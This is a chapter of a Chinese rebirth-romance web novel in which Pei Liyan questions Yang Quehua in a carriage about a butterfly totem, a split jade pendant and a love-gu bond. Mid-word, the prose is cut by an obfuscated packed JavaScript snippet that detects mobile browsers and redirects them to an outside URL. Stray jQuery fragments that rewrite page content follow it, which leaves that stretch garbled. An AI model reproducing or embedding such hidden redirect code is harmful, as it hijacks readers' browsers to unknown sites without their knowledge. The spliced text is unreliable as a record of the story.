30. 三十、合作

作品:《重生后她陷入修罗场

    怀揣着面具,以防又遇上伏击刺杀,裴立言提议坐上马车返程。


    于是杨雀华、裴立言二人都坐上了裴立言的车架。


    金堆玉镶的马车檐角下坠着的银铃叮咚作响,惊起林间几只飞鸟。


    杨雀华掀起窗帘,看了看身后越来越远的千年双生水杉。她拢了拢被微风吹散的鬓发,望着对面闭目养神的裴立言。


    他天青色的衣袍上还沾着刚刚从天坑中逃离时留下的泥渍,腰间本该悬着异株香囊的位置如今却空落落的,但他却毫无察觉。


    “方才为何摆脸色?”杨雀华终是没忍住开口,起身向裴立言靠近,指尖叩了叩膝上搁着的开山大将面具,“面具我不是给你拿回来了。”


    这家伙竟然还对自己臭脸,自己可是冒着危险进入落花洞为他拿下一直在寻找的面具。


    裴立言睫毛微颤,尚未答话,马车外忽然传来几声清脆的银饰碰撞声。


    原来是龙寿玉策马并行至车窗前,他掀起窗帘,绑着银饰的发辫垂落肩头,镶着块祖母绿的挑花抹额下那双凤眼似笑非笑:“阿雀,你下次若是再舍命取物,本少主可不依,定要让你尝尝痒痒蛊的滋味。”


    杨雀华闻言讪讪将面具往怀里藏了藏。


    这两日自己接连遇险,先是掉入坑洞里,天坑中又坠入幻境,确实行事莽撞了些。


    她正要对两人开口告饶,忽然感到膝上一沉——裴立言竟将佩剑横在她的裙摆上,剑柄镶着的苍蓝色玉石正抵着那枚开山大将的面具。


    “阿雀。”他的声线清冷如灵山巅上的冰雪消融,“若是下次再逢险阻之事或临险要之地,不可再亲身犯险,总要试着依赖一下其他人。”咽下半句“特别是我”,他指尖摩挲上剑穗上褪色的同心结,那是他阿娘亲手编织赠给他的生辰礼物。


    马车一路离开洛塔,行至临近苗疆部族山寨大门的分岔路口。


    此时天色已晚,龙寿玉身上的碎银饰在暮色微光的照耀下泛着泠泠寒光。


    行至寨门口,他忽然勒马回望,脖子上悬挂的咚咚喹也随动作轻晃:“我到家了,你们返途一路小心。”


    他的声音渐渐消散在渐起的山岚里,此时杨雀华从马车中探出身子掀起窗帘朝着他消失的方向摆了摆手告别。


    待马蹄声远,马车远离了苗疆部族,杨雀华弯腰靠近,伸手将面具递给裴立言:“这个开山大将的面具,你收好。”


    待到裴立言接住面具,杨雀华问道:“还有你的香囊呢……”


    “许是落在天坑了。”他看似回答得十分漫不经心,却在杨雀华靠近的瞬间绷紧了身体。


    昏暗的马车中看不清神色,只听他低笑一声:“杨姑娘这是担心我呢?还是害怕解不了蛊,要同我继续纠缠。”


    杨雀华闻言猛地缩回手,此时马车的车辕恰好碾过一处铺有碎石的官道,在马车的颠簸间撞进裴立言的怀里。


    一股淡淡的龙涎香混着药香扑面而来,恍惚中幻境里那个满身落满翠蝶的身影又再次出现——一袭白衣的裴立言手持佩剑苦苦支撑在百蛊楼的中央,而这次的他却没有那么好运,没人为他舍下自己的保命蛊,咳出一口红得发黑的鲜血,他倒在了原地。


    而此时百蛊楼外的龙寿玉腕间银手镯上的银铃都碎成粉末,但他站立在原地,始终没有推开那扇大门。


    “解你蛊的东西掉了,你还乐得起来?”杨雀华撑着裴立言的胸膛就要起身,却被他紧紧攥住了手腕。


    月光透过车帘的缝隙落在他额间眉心,将裴立言眉间那粒状似朱砂痣的圆点照得分外鲜红:“阿雀你可知,我看到的幻境后半段,是无人相救的结局。”


    掌心骤然沁出冷汗,杨雀华想起前世那具死后还被人用刀在脸上划上数道深可见骨伤痕的尸首。


    他死后,裴国公与当今圣上大怒,几乎想要血洗整个苗疆部族替他报仇,派出锦衣卫和大军缉拿了苗疆部族的首领,将其下了大狱。


    而阿玉的阿爹,苗疆部族的首领也在狱中吐血而亡……似乎苗疆部族、裴国公、当今天子都在前世这场劫难中一无所获。


    一方失去独子,一方深陷牢狱。


    这场纷争,众人似乎都心怀鬼胎,满腹算计,但最后却并无赢家。


    任由裴立言攥着自己的手,杨雀华望着他,正欲开口。


    “杨姑娘,不妨看看我手里的东西,再回答我的问题。”裴立言忽然从袖中抽出一卷羊皮。


    展开后的羊皮上面画着的图腾让杨雀华的呼吸一下子凝滞——一个对称的蝴蝶图腾,正是前世师门覆灭时现场留下的唯一痕迹。


    山风卷起的落叶拍打着车窗,杨雀华死死掐住掌心才没惊呼出声。


    前世师门覆灭后血流成河、残肢遍地的现场也留下了同样的图腾,而那日在密林中她在龙寿玉肩膀上所见到的也是这个图腾……


    而他裴立言,身份高贵久居京城的裴世子为什么也会有这个图腾,他千里迢迢从京城来到武陵,真的只是为了破解地图寻找秘宝么?究竟他真正寻找的是什么?


    “不久前我在石林下的密林里遇伏,一番争斗后我从为首的黑衣刺客肩上得到了这图腾。”裴立言忽然倾身逼近,温热的呼吸拂过杨雀华的耳畔,“阿雀,你怎么抖得这般厉害,可是看着这图腾突然想起什么了?”


    杨雀华别开脸回避着裴立言的问题,望向窗外渐暗的天色。


    前世记忆如潮水翻涌:龙寿玉在劫狱途中被万箭穿心的模样,大梯玛启动冲天楼机关时如释重负的笑容,还有一个躺在悬棺中的红衣女子……


    “裴公子,你想要什么?”杨雀华开口,她听见自己的声音微微发涩。


    忽的轻笑出声,裴立言取下腰间一块冰凉的玉佩,贴着杨雀华的手腕滑入她的手心:“别心急,看看这块玉佩眼熟么?”


    杨雀华低头看向掌心,竟是半块鱼衔莲花的玉佩,这半块玉佩她也曾在大梯玛彭翠微的手中见到过,若是将这半块玉佩与另外那半块相合,便是一块完整的双鱼衔莲玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909743|159871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佩。


    “对不住,杨姑娘,我骗了你,除了那面具,我们还找到了一块玉佩。”裴立言取回玉佩收在掌中。


    接着将玉佩收回袖中,他继续说道:“我在想我们在天坑迷雾中陷入的幻境究竟只是幻境,还是那个唤醒了我们内心隐藏最深记忆的引子呢?”


    “你到底想说什么?”杨雀华紧紧抓住马车垫子上的流苏穗子,抬着头望向裴立言。


    裴立言忽然低垂了眸子,盯着她的眼睛,目光炽热得不允她逃避:“杨姑娘,这幻境所现……”他喉结滚动,忽然逼近半步,“当真只是虚妄?”


    随着眼前人的靠近,龙涎香混着药香的味道又萦绕在鼻间,杨雀华咬着牙与裴立言对峙着。


    “那日,你怎么进的来百蛊楼?又是怎么知道你身上那蛊就一定对我有用……”他钳制住她挣扎的双手,将她逼退至马车壁上,“就像是你提前预知了这一切一般,为了改变我的命运而来。”


    烛芯爆出星子落进鎏金狻猊炉,沉香木车壁暗刻的松下鹤纹硌得杨雀华脊骨生疼,甩开她的手,裴立言玄色箭袖下的手掌青筋暴起,最后却虚虚悬在杨雀华颈侧三寸:“还是说那日百蛊楼中你早有预谋,否则怎知给我喂下你的保命蛊就能能暂缓蛊母之毒?”


    锦袍下的宽肩罩住杨雀华的身躯,只余她头上的银簪在昏黄烛光下晃出碎光来。


    杨雀华偏头避开他气息:“龙寿玉与我一同长大,他教过我辨毒之法……”话音未落,鎏金匕首突然挑开她腰间香囊,那株还栩栩如生的异株一下子暴露在空气中,瞬间枯萎了。


    “杨姑娘,连藏宝图中藏着面具的秘密都能破解……”裴立言炽热的呼吸掠过她耳后的红痣,“这般无所不能,冰雪聪明,如今却不能就当日的种种给我说出个靠谱的理由来?”


    裴立言单手压住杨雀华乱颤的膝头,戴着玉扳指的大拇指碾过她的唇:“是你能预知未来,还是谁让你在百蛊楼救我一命,从此与我绑定了这情蛊?”


    裴立言直直望着身前的杨雀华,两人几乎只有咫尺距离,他在等一个答案。


    杨雀华却突然抓住他蹀躞带上螭纹的玉扣:“世子既疑我是棋子”说话间,她的手指不自觉地掐进他的掌心旧伤,“何不将我交给崔县令,下了大狱严刑拷打?”


    此时车外惊雷劈开雨幕,照见锦衣俊美公子猩红的眼尾:“我要的岂是……”


    杨雀华还欲再辩,声音却猝然被裴立言吞进灼热的唇齿间,他掐着她腰肢的力道像是要将人揉碎。


    龙涎香混着血腥气在唇舌纠缠,他明明能扣住命门的手却只攥紧她散开的腰带。


    马车壁上的暗纹顺着她的挣扎烙上印记,好似那情蛊爬出了体外在彰显着存在。


    金丝楠木车轼撞出裂帛声,他忽然松开桎梏,将染血的双鱼玉佩按进她掌心:“情蛊发作时我会咳血昏迷”


    几声喘息混着轻笑,他继续道:“届时杨姑娘可要记准下刀位置,最好一举成功,将我了结了。”